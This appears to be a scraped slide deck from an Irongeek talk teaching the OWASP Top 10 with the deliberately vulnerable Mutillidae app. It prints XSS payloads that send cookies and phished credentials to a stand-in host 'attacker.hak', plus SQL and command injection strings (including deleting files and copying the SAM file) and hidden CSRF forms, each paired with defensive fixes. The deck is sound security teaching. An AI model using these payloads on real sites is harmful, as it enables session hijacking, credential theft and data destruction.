SlideShare a Scribd company logo
1 of 33
http://Irongeek.com
Adrian Crenshaw
http://Irongeek.com
 I run Irongeek.com
 I have an interest in InfoSec
education
 I don’t know everything - I’m just a
geek with time on my hands
 I’m also not a professional web
developer, creating crappy code
was easy or me. 
 So why listen to me? Sometimes it
takes a noob to teach a noob.
http://Irongeek.com
 OWASP Top 10
http://www.owasp.org/index.php/OWASP_Top_Ten_Project
(As a side note, I’ve copied quite of few of their descriptions and fixes into this presentation)
 Mutillidae
http://www.irongeek.com/i.php?page=security/mutillidae-
deliberately-vulnerable-php-owasp-top-10
 Ok, but what are those?
http://Irongeek.com
The 2007 list includes:
 A1 - Cross Site Scripting (XSS)
 A2 - Injection Flaws
 A3 - Malicious File Execution
 A4 - Insecure Direct Object Reference
 A5 - Cross Site Request Forgery (CSRF)
 A6 - Information Leakage and Improper Error Handling
 A7 - Broken Authentication and Session Management
 A8 - Insecure Cryptographic Storage
 A9 - Insecure Communications
 A10 - Failure to Restrict URL Access
The OWASP Top Ten represents a broad consensus about what the most critical
web application security flaws are.
http://Irongeek.com
 A teaching tool for illustrating the OWASP 10
 Written in PHP/MySQL
 Meant to be simpler than WebGoat
 Simple to exploit, just to get the concept across
 Easy to reset
 Includes a “Tips” function to help the student
http://Irongeek.com
1. Download Mutillidae
http://www.irongeek.com/i.php?page=security/mutillidae-
deliberately-vulnerable-php-owasp-top-10
2. Grab XAMPP Lite and install it
http://www.apachefriends.org/en/xampp.html
3. Put the Mutillidae files in htdocs
4. May want to edit xamppliteapacheconfhttpd.conf and
set “Listen 127.0.0.1:80 “
http://Irongeek.com
XSS flaws occur whenever an
application takes user supplied data and
sends it to a web browser without first
validating or encoding that content. XSS
allows attackers to execute script in the
victim's browser which can hijack user
sessions, deface web sites, possibly
introduce worms, etc.
http://Irongeek.com
 Simple:
<script>alert("XSS");</script>
 Page Redirect:
<script>window.location =
"http://www.irongeek.com/"</script>
 Cookie Stealing:
<script>
new
Image().src="http://attacker.hak/catch.php?cookie="+encod
eURI(document.cookie);
</script>
http://Irongeek.com
 Simple:
<script>alert("XSS");</script>
 Page Redirect:
<script>window.location = "http://www.irongeek.com/"</script>
 Cookie Stealing:
<script>
new Image().src="http://attacker.hak/catch.php?cookie="+encodeURI(document.cookie);
</script>
 Password Con:
<script>
username=prompt('Please enter your username',' ');
password=prompt('Please enter your password',' ');
document.write("<img
src="http://attacker.hak/catch.php?username="+username+"&password="+password+""
>");
</script>
http://Irongeek.com
 External Javascript:
<script src="http://ha.ckers.org/xss.js">
</script>
 Hot BeEF Injection:
<script language='Javascript'
src='http://localhost/beef/hook/beefmagic.js.php'></script>
 How about the User Agent string?
http://Irongeek.com
 Mangle XSS to bypass filters:
http://ha.ckers.org/xss.html
 BeEF browser exploitation framework
http://www.bindshell.net/tools/beef
 XSS Me Firefox plugin
https://addons.mozilla.org/en-US/firefox/addon/7598
 Exotic Injection Vectors
http://www.irongeek.com/i.php?page=security/xss-sql-and-
command-inject-vectors
http://Irongeek.com
 Input validation.
 Strong output encoding. htmlspecialchars()
 Specify the output encoding.
 Do not use "blacklist" validation to detect XSS in
input or to encode output.
 Watch out for canonicalization errors.
http://Irongeek.com
Injection flaws, particularly SQL
injection, are common in web applications.
Injection occurs when user-supplied data is
sent to an interpreter as part of a command
or query. The attacker's hostile data tricks
the interpreter into executing unintended
commands or changing data.
http://Irongeek.com
The Code:
“SELECT * FROM accounts WHERE username='". $username ."' AND
password='".stripslashes($password).”’”
or
echo shell_exec("nslookup " . $targethost);'“
Expected to fill in the string to:
SELECT * FROM accounts WHERE username=‘adrian' AND password=‘somepassword’
or
Nslookup irongeek.com
But what if the person injected:
SELECT * FROM accounts WHERE username=‘adrian' AND password=‘somepassword’ or 1=1 -- ’
or
Nslookup irongeek.com && del *.*
http://Irongeek.com
 Simple SQL Injection:
' or 1=1 --
 Wish I could do this, but can't stack in MySQL/PHP
'; DROP TABLE owasp10; --
 Command Injections:
&& dir
&& wmic process list
&& wmic useraccount list
&& copy c:WINDOWSrepairsam && copy
c:WINDOWSrepairsystem.bak
 (use ; as a separator if you are running this on Linux)
http://Irongeek.com
 SQL Injection Cheat Sheet
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
 SQL Injection Attacks by Example
http://unixwiz.net/techtips/sql-injection.html
 Command line Kung Fu
http://blog.commandlinekungfu.com/
http://Irongeek.com
 Input validation.
 Use strongly typed parameterized query APIs
(bound parameters).
 Enforce least privilege.
 Avoid detailed error messages.
 Show care when using stored procedures.
 Do not use dynamic query interfaces.
 Do not use simple escaping functions.
 Watch out for canonicalization errors.
http://Irongeek.com
Code vulnerable to remote file
inclusion (RFI) allows attackers to include
hostile code and data, resulting in
devastating attacks, such as total server
compromise. Malicious file execution
attacks affect PHP, XML and any framework
which accepts filenames or files from users.
http://Irongeek.com
 Grabbing a local file:
http://target.hak/index.php?page=source-
viewer.php&php_file_name=config.inc
 Tamper Data, POST data and an inadvertent proxy
http://Irongeek.com
 Tamper Data Firefox Plugin
https://addons.mozilla.org/en-US/firefox/addon/966
 Paros
http://www.parosproxy.org/index.shtml
 WebScarab
http://www.owasp.org/index.php/Category:OWASP
_WebScarab_Project
http://Irongeek.com
 Strongly validate user input using "accept known good" as a strategy
 Add firewall rules to prevent web servers making new connections to
external web sites and internal systems.
 Consider implementing a chroot jail or other sand box mechanisms.
 # PHP: Disable allow_url_fopen and allow_url_include in php.ini and
consider .building PHP locally to not include this functionality.
 # PHP: Disable register_globals and use E_STRICT to find uninitialized
variables.
 # PHP: Ensure that all file and streams functions (stream_*) are carefully
vetted.
http://Irongeek.com
A direct object reference occurs when
a developer exposes a reference to an
internal implementation object, such as a
file, directory, database record, or key, as a
URL or form parameter. Attackers can
manipulate those references to access
other objects without authorization.
http://Irongeek.com
 You already saw it with the malicious file include
demo.
http://Irongeek.com
 Avoid exposing your private object references to
users whenever possible, such as primary keys or
filenames.
 Validate any private object references extensively
with an "accept known good" approach.
 Verify authorization to all referenced objects.
http://Irongeek.com
A CSRF attack forces a logged-on
victim's browser to send a pre-authenticated
request to a vulnerable web application,
which then forces the victim's browser to
perform a hostile action to the benefit of the
attacker. CSRF can be as powerful as the
web application that it attacks.
http://Irongeek.com
Target Web App
Client
Website the
attacker controls
1. Session established
with web app via a
cookie. (already logged
in)
2. At some later point,
content that the
attacker controls is
requested.
3. Attacker serves up
content that asks
client’s browser to
make a request.
4. Client makes request,
and since it already has
a session cookie the
request is honored.
http://Irongeek.com
 Let visit a page with this lovely link:
<img src="http://target.hak/index.php?page=add-to-your-
blog.php&input_from_form=hi%20there%20monkeyboy">
 Don’t want to use a bad image? Try an Iframe:
<iframe src="http://target.hak/index.php?page=add-to-your-
blog.php&input_from_form=hi%20there%20monkeyboy"" style="width:0px;
height:0px; border: 0px"></iframe>
 Can’t use the GET method? Try something like:
<html> <body>
<form name="csrfform" method="post"
action="http://target.hak/index.php?page=add-to-your-blog.php">
<input type='hidden' name='input_from_form'
value="Test of of auto submitted form.">
</form>
<script>document.csrfform.submit()</script>
</body></html>
http://Irongeek.com
 CSRF Flaws Found On Major Websites, Including a
Bank
http://it.slashdot.org/article.pl?sid=08/09/30/0136219
 CSRF Home Router Fun
http://www.gnucitizen.org/blog/persistent-xss-and-csrf-on-wireless-g-
adsl-gateway-with-speedbooster-wag54gs/
 CSRF in Gmail
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
http://Irongeek.com
 For sensitive data or value transactions, re-authenticate or
use transaction signing to ensure that the request is
genuine.
 Do not use GET requests (URLs) for sensitive data or to
perform value transactions. (see next point)
 POST alone is insufficient protection.
 Consider adding Captchas and extra sessions values as
hidden form elements.
http://Irongeek.com
 Deliberately Insecure Web Applications For
Learning Web App Security
http://www.irongeek.com/i.php?page=security/deli
berately-insecure-web-applications-for-learning-
web-app-security
http://Irongeek.com
 SamuraiWTF
http://samurai.inguardians.com/
 OWASP Live CD
http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project
 BackTrack
http://www.remote-exploit.org/backtrack.html
http://Irongeek.com
 Free ISSA classes
 ISSA Meeting
http://issa-kentuckiana.org/
 Louisville Infosec
http://www.louisvilleinfosec.com/
 Phreaknic/Notacon/Outerz0ne
http://phreaknic.info
http://notacon.org/
http://www.outerz0ne.org/
http://Irongeek.com
42

More Related Content

What's hot

Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Ikhade Maro Igbape
 
SQL Injection INSERT ON DUPLICATE KEY trick
SQL Injection INSERT ON DUPLICATE KEY trickSQL Injection INSERT ON DUPLICATE KEY trick
SQL Injection INSERT ON DUPLICATE KEY trickMathias Karlsson
 
Insecure direct object reference (null delhi meet)
Insecure direct object reference (null delhi meet)Insecure direct object reference (null delhi meet)
Insecure direct object reference (null delhi meet)Abhinav Mishra
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Irfad Imtiaz
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesSoftware Guru
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxAaron Weaver
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting GuideDaisuke_Dan
 
security misconfigurations
security misconfigurationssecurity misconfigurations
security misconfigurationsMegha Sahu
 
Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesMarco Morana
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...Noppadol Songsakaew
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scriptingkinish kumar
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site ScriptingAli Mattash
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?Yurii Bilyk
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defensesMohammed A. Imran
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing TechniquesAvinash Thapa
 

What's hot (20)

Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation Cross Site Scripting Defense Presentation
Cross Site Scripting Defense Presentation
 
SQL Injection INSERT ON DUPLICATE KEY trick
SQL Injection INSERT ON DUPLICATE KEY trickSQL Injection INSERT ON DUPLICATE KEY trick
SQL Injection INSERT ON DUPLICATE KEY trick
 
Insecure direct object reference (null delhi meet)
Insecure direct object reference (null delhi meet)Insecure direct object reference (null delhi meet)
Insecure direct object reference (null delhi meet)
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
OWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application VulnerabilitiesOWASP Top 10 Web Application Vulnerabilities
OWASP Top 10 Web Application Vulnerabilities
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
HTTP Security Headers
HTTP Security HeadersHTTP Security Headers
HTTP Security Headers
 
The Cross Site Scripting Guide
The Cross Site Scripting GuideThe Cross Site Scripting Guide
The Cross Site Scripting Guide
 
security misconfigurations
security misconfigurationssecurity misconfigurations
security misconfigurations
 
Click jacking
Click jackingClick jacking
Click jacking
 
Cross Site Request Forgery Vulnerabilities
Cross Site Request Forgery VulnerabilitiesCross Site Request Forgery Vulnerabilities
Cross Site Request Forgery Vulnerabilities
 
A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...A2 - broken authentication and session management(OWASP thailand chapter Apri...
A2 - broken authentication and session management(OWASP thailand chapter Apri...
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
Cross site scripting
Cross site scriptingCross site scripting
Cross site scripting
 
Cross Site Scripting
Cross Site ScriptingCross Site Scripting
Cross Site Scripting
 
XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?XSS - Do you know EVERYTHING?
XSS - Do you know EVERYTHING?
 
Wi-fi Hacking
Wi-fi HackingWi-fi Hacking
Wi-fi Hacking
 
Cross site scripting attacks and defenses
Cross site scripting attacks and defensesCross site scripting attacks and defenses
Cross site scripting attacks and defenses
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 

Similar to Irongeek.com InfoSec Guide Covers OWASP Top 10 Vulnerabilities

TakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian CrenshawTakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian CrenshawEC-Council
 
OWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgeryOWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgeryNikola Milosevic
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encodingEoin Keary
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Jeremiah Grossman
 
Web Security - Introduction
Web Security - IntroductionWeb Security - Introduction
Web Security - IntroductionSQALab
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Oles Seheda
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeJeremiah Grossman
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityChris Hillman
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
 
Java Web Security Class
Java Web Security ClassJava Web Security Class
Java Web Security ClassRich Helton
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Web security for developers
Web security for developersWeb security for developers
Web security for developersSunny Neo
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptCyber Security Alliance
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web SecurityChris Shiflett
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecuritiesamiable_indian
 
Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)ClubHack
 

Similar to Irongeek.com InfoSec Guide Covers OWASP Top 10 Vulnerabilities (20)

TakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian CrenshawTakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
 
OWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgeryOWASP Serbia - A5 cross-site request forgery
OWASP Serbia - A5 cross-site request forgery
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
4.Xss
4.Xss4.Xss
4.Xss
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
 
Web Security - Introduction
Web Security - IntroductionWeb Security - Introduction
Web Security - Introduction
 
Web Security - Introduction v.1.3
Web Security - Introduction v.1.3Web Security - Introduction v.1.3
Web Security - Introduction v.1.3
 
Starwest 2008
Starwest 2008Starwest 2008
Starwest 2008
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 
Java Web Security Class
Java Web Security ClassJava Web Security Class
Java Web Security Class
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Security Tech Talk
Security Tech TalkSecurity Tech Talk
Security Tech Talk
 
Web security for developers
Web security for developersWeb security for developers
Web security for developers
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScriptWarning Ahead: SecurityStorms are Brewing in Your JavaScript
Warning Ahead: SecurityStorms are Brewing in Your JavaScript
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)Best practices of web app security (samvel gevorgyan)
Best practices of web app security (samvel gevorgyan)
 

More from Magno Logan

DevSecOps - Integrating Security in the Development Process (with memes) - Ma...
DevSecOps - Integrating Security in the Development Process (with memes) - Ma...DevSecOps - Integrating Security in the Development Process (with memes) - Ma...
DevSecOps - Integrating Security in the Development Process (with memes) - Ma...Magno Logan
 
Katana Security - Consultoria em Segurança da Informação
Katana Security - Consultoria em Segurança da InformaçãoKatana Security - Consultoria em Segurança da Informação
Katana Security - Consultoria em Segurança da InformaçãoMagno Logan
 
OWASP Top 10 2010 para JavaEE (pt-BR)
OWASP Top 10 2010 para JavaEE (pt-BR)OWASP Top 10 2010 para JavaEE (pt-BR)
OWASP Top 10 2010 para JavaEE (pt-BR)Magno Logan
 
XST - Cross Site Tracing
XST - Cross Site TracingXST - Cross Site Tracing
XST - Cross Site TracingMagno Logan
 
OWASP Top 10 2007 for JavaEE
OWASP Top 10 2007 for JavaEE OWASP Top 10 2007 for JavaEE
OWASP Top 10 2007 for JavaEE Magno Logan
 
SQL Injection Tutorial
SQL Injection TutorialSQL Injection Tutorial
SQL Injection TutorialMagno Logan
 
OWASP Top 10 2010 pt-BR
OWASP Top 10 2010 pt-BROWASP Top 10 2010 pt-BR
OWASP Top 10 2010 pt-BRMagno Logan
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasMagno Logan
 
Co0L 2011 - Segurança em Sites de Compras Coletivas: Vulnerabilidades, Ataqu...
Co0L 2011 - Segurança em Sites de Compras Coletivas: Vulnerabilidades, Ataqu...Co0L 2011 - Segurança em Sites de Compras Coletivas: Vulnerabilidades, Ataqu...
Co0L 2011 - Segurança em Sites de Compras Coletivas: Vulnerabilidades, Ataqu...Magno Logan
 
AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and Stefano di P...
AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and  Stefano di P...AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and  Stefano di P...
AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and Stefano di P...Magno Logan
 
AppSec EU 2011 - An Introduction to ZAP by Simon Bennetts
AppSec EU 2011 - An Introduction to ZAP by Simon BennettsAppSec EU 2011 - An Introduction to ZAP by Simon Bennetts
AppSec EU 2011 - An Introduction to ZAP by Simon BennettsMagno Logan
 
OWASP Floripa - Web Spiders: Automação para Web Hacking by Antonio Costa aka ...
OWASP Floripa - Web Spiders: Automação para Web Hacking by Antonio Costa aka ...OWASP Floripa - Web Spiders: Automação para Web Hacking by Antonio Costa aka ...
OWASP Floripa - Web Spiders: Automação para Web Hacking by Antonio Costa aka ...Magno Logan
 
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...Magno Logan
 
AppSec DC 2009 - Learning by breaking by Chuck Willis
AppSec DC 2009 - Learning by breaking by Chuck WillisAppSec DC 2009 - Learning by breaking by Chuck Willis
AppSec DC 2009 - Learning by breaking by Chuck WillisMagno Logan
 
Just4Meeting 2012 - How to protect your web applications
Just4Meeting 2012 -  How to protect your web applicationsJust4Meeting 2012 -  How to protect your web applications
Just4Meeting 2012 - How to protect your web applicationsMagno Logan
 
GTS 17 - OWASP em prol de um mundo mais seguro
GTS 17 - OWASP em prol de um mundo mais seguroGTS 17 - OWASP em prol de um mundo mais seguro
GTS 17 - OWASP em prol de um mundo mais seguroMagno Logan
 
ENSOL 2011 - OWASP e a Segurança na Web
ENSOL 2011 - OWASP e a Segurança na WebENSOL 2011 - OWASP e a Segurança na Web
ENSOL 2011 - OWASP e a Segurança na WebMagno Logan
 
BHack 2012 - How to protect your web applications
BHack 2012 - How to protect your web applicationsBHack 2012 - How to protect your web applications
BHack 2012 - How to protect your web applicationsMagno Logan
 

More from Magno Logan (20)

DevSecOps - Integrating Security in the Development Process (with memes) - Ma...
DevSecOps - Integrating Security in the Development Process (with memes) - Ma...DevSecOps - Integrating Security in the Development Process (with memes) - Ma...
DevSecOps - Integrating Security in the Development Process (with memes) - Ma...
 
Katana Security - Consultoria em Segurança da Informação
Katana Security - Consultoria em Segurança da InformaçãoKatana Security - Consultoria em Segurança da Informação
Katana Security - Consultoria em Segurança da Informação
 
OWASP Top 10 2010 para JavaEE (pt-BR)
OWASP Top 10 2010 para JavaEE (pt-BR)OWASP Top 10 2010 para JavaEE (pt-BR)
OWASP Top 10 2010 para JavaEE (pt-BR)
 
XST - Cross Site Tracing
XST - Cross Site TracingXST - Cross Site Tracing
XST - Cross Site Tracing
 
OWASP Top 10 2007 for JavaEE
OWASP Top 10 2007 for JavaEE OWASP Top 10 2007 for JavaEE
OWASP Top 10 2007 for JavaEE
 
XPath Injection
XPath InjectionXPath Injection
XPath Injection
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
SQL Injection Tutorial
SQL Injection TutorialSQL Injection Tutorial
SQL Injection Tutorial
 
OWASP Top 10 2010 pt-BR
OWASP Top 10 2010 pt-BROWASP Top 10 2010 pt-BR
OWASP Top 10 2010 pt-BR
 
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner EliasTratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
Tratando as vulnerabilidades do Top 10 do OWASP by Wagner Elias
 
Co0L 2011 - Segurança em Sites de Compras Coletivas: Vulnerabilidades, Ataqu...
Co0L 2011 - Segurança em Sites de Compras Coletivas: Vulnerabilidades, Ataqu...Co0L 2011 - Segurança em Sites de Compras Coletivas: Vulnerabilidades, Ataqu...
Co0L 2011 - Segurança em Sites de Compras Coletivas: Vulnerabilidades, Ataqu...
 
AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and Stefano di P...
AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and  Stefano di P...AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and  Stefano di P...
AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and Stefano di P...
 
AppSec EU 2011 - An Introduction to ZAP by Simon Bennetts
AppSec EU 2011 - An Introduction to ZAP by Simon BennettsAppSec EU 2011 - An Introduction to ZAP by Simon Bennetts
AppSec EU 2011 - An Introduction to ZAP by Simon Bennetts
 
OWASP Floripa - Web Spiders: Automação para Web Hacking by Antonio Costa aka ...
OWASP Floripa - Web Spiders: Automação para Web Hacking by Antonio Costa aka ...OWASP Floripa - Web Spiders: Automação para Web Hacking by Antonio Costa aka ...
OWASP Floripa - Web Spiders: Automação para Web Hacking by Antonio Costa aka ...
 
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
 
AppSec DC 2009 - Learning by breaking by Chuck Willis
AppSec DC 2009 - Learning by breaking by Chuck WillisAppSec DC 2009 - Learning by breaking by Chuck Willis
AppSec DC 2009 - Learning by breaking by Chuck Willis
 
Just4Meeting 2012 - How to protect your web applications
Just4Meeting 2012 -  How to protect your web applicationsJust4Meeting 2012 -  How to protect your web applications
Just4Meeting 2012 - How to protect your web applications
 
GTS 17 - OWASP em prol de um mundo mais seguro
GTS 17 - OWASP em prol de um mundo mais seguroGTS 17 - OWASP em prol de um mundo mais seguro
GTS 17 - OWASP em prol de um mundo mais seguro
 
ENSOL 2011 - OWASP e a Segurança na Web
ENSOL 2011 - OWASP e a Segurança na WebENSOL 2011 - OWASP e a Segurança na Web
ENSOL 2011 - OWASP e a Segurança na Web
 
BHack 2012 - How to protect your web applications
BHack 2012 - How to protect your web applicationsBHack 2012 - How to protect your web applications
BHack 2012 - How to protect your web applications
 

Recently uploaded

IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)Gabriella Davis
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking MenDelhi Call girls
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024Rafal Los
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
